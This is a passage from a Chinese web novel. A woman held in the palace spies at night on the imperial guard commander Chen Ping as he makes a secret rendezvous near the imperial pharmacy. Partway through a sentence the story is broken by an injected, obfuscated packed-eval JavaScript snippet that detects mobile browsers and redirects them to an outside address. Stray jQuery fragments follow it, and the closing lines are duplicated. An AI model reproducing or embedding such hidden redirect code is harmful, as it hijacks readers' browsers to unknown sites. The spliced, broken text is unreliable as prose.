“陛下吩咐了,这些事暂由李琰副统领会同有司处理,陈统领那边……稍后再禀。”赵允的声音压低了,“陛下龙体欠安,需静养,任何人不得打扰。尤其是……里面那位姑娘的事,多一句嘴,仔细你们的皮。”
“是,小的明白。”
那脚步声远去。
苏灼握着书的手指微微收紧,陈平在催问?他果然对这一切极为关注,而萧寰,似乎有意在避开陈平,至少在某些事情上。
她定了定神,推门出去。
赵允立刻迎上,笑容不变:“姑娘挑好了?可还合意?”
“就这几本。”苏灼不紧不慢的将书递给他,“有劳公公。”
“姑娘客气。”赵允接过书,“咱家送姑娘回去。”
回程路上,苏灼眸子一转,看似无意地问:“方才好像听见有人在说陈统领?可是御前侍卫陈统领?”
赵允面不改色:“是,陈统领公忠体国,关心陛下安危,过问了几句差事。”
“陛下似乎很倚重陈统领。”苏灼继续问。
“陈统领侍奉陛下多年,自然是得力的。”赵允答得滴水不漏。
苏灼没有继续追问,看他这样估计也问不出什么,她抬头看了看天空。
回到偏院,天色已近黄昏。晚膳比午膳更丰盛些,还添了一盅炖得乳白的鱼汤。苏灼慢慢喝着汤,心里却在盘算,王太医的约在三日后,这三天,她不能干等。
夜里,她早早熄了灯,躺在床上,却一直清醒地听着外面的动静。
更鼓敲过二更,夜晚安静的可怕。
她悄无声息地起身,换上深色的衣裳,将头发利落束起,插上几根不起眼的簪子,实则是空心藏了钢针的。推开后窗,窗棂有些紧,她小心地卸下一扇,侧身钻出。
偏院后墙紧邻着一片荒废的小花园,据说前朝某位太妃曾住过,后来一直闲置,少有人来。这是白日里她暗中观察好的路径。
月色黯淡,云层厚重。她借着阴影和残破的假山亭榭掩护,像一道幽灵,在废弃的园中穿梭。目标明确,太医院大致的方向。她需要提前探探路,熟悉环境,也要看看,这深宫夜里,到底藏着多少双眼睛。
废弃花园的尽头是一道矮墙,墙外是一条狭窄的夹巷。她屏息聆听片刻,确认无人,翻墙而过,落在松软的泥土上。
沿着夹巷走了不远,前方隐约传来灯火和人声,她立刻闪身躲进一个堆放杂物的角落缝隙里。
是两个巡夜太监,提着灯笼,小声抱怨着天气和差事,慢慢走过,待他们走远,苏灼才继续前行。她对宫内布局不算熟悉,只凭大致方向和建筑规制判断。太医院在宫廷东南方位,靠近东华门,相对独立。
穿过几条巷道,路过几处有灯光值守的宫苑,她都小心避开,越靠近太医院区域,空气中弥漫的药草气味越浓。
前方出现一座独立的院落,门楣上挂着匾额,夜色中看不真切,但格局像是太医院下属的某个药库或值房,院门紧闭,里面黑漆漆的。
她正准备绕过去,忽然,另一侧的巷口传来极轻微的脚步声。
不是太监那种拖沓的步子,而是习武之人刻意放轻的落地声。
苏灼立刻缩身,藏在一棵老树虬结的树根阴影后,几乎和黑暗融为一体。
一个身影从巷口走出,步履沉稳,径直走向那处院落的侧门。他没有提灯,借着微弱的天光,苏灼看清了那人的侧脸和身形。
深灰色侍卫服色,腰佩长剑,面容冷峻,眼神锐利如鹰。
此人正是李琰口中,萧寰身边寸步不离的御前侍卫统领——陈平。
他深夜独自来此作甚?
只见陈平走到侧门前,并未叩门,而是有节奏地,极轻地在门板上叩击了三下,停顿,又两下。
门悄无声息地开了一道缝,里面似乎有人,低语了几句,陈平侧身闪入,门随即关上,一切恢复寂静。
苏灼的心跳在黑暗中咚咚作响。
她盯着那扇紧闭的侧门
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17160500|196593||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,又看了看院落的匾额方向。
这里,绝不是太医院正院,更像是一处僻静的,不引人注目的附属院落。
陈平和这里的人有秘密接头,这和她父亲的事有关吗?和王太医的约见有关吗?
她不敢久留,确认四下再无动静,才沿着原路,加倍小心地返回。来时的路在脑海中清晰回放,每一个拐角,每一处可能的藏身点。
回到偏院后窗下,她动作轻巧的翻入,轻轻合上窗扇,插好,屋内一片漆黑,和她离开时无异。
她靠在冰冷的墙壁上,缓缓吐出一口一直憋着的气。后背的伤因为刚才的攀爬和紧张,又开始隐隐作痛。
陈平的身影,深夜秘会,还有三日后太医院旧书库之约……
一切都在告诉她,这平静压抑的宫墙之下,暗流比她想象的更加汹涌复杂。
而萧寰,那个将她强留于此的男人,在这旋涡中心,到底扮演着什么角色?知情者?布局者?还是……另一个身不由己的棋子?
她不知道。
窗外,寒风刮过,带着深宫特有的危险气息,
次日苏灼醒得比平日更早些,因为昨天的事情,她的后背的伤在夜里发紧,钝痛一阵阵传来,提醒着她昨天夜里发生的事情并非梦境。她缓缓起身,动作比昨日更迟缓些。
小桃照例送来热水早膳,依旧低眉顺眼,一言不发。
用过早膳后,苏灼翻开昨日从暖阁带回的地方志,心却不在书上。指尖划过粗糙的纸页,目光落在窗外那方被高墙切割的天空。
陈平昨夜去的地方,是太医院下属的某个偏僻院落。他叩门的节奏,是有规律的暗号。
那里藏着什么人?或者说,藏着什么事?看来王太医也不简单,和他的约定在后日,在这之前,她不能打草惊蛇,但也绝不能坐以待毙。
她的视线缓缓移到小桃身上,眸子眯起,开口道:“小桃。”
小桃离开上前:“姑娘有何吩咐?”小桃立刻上前。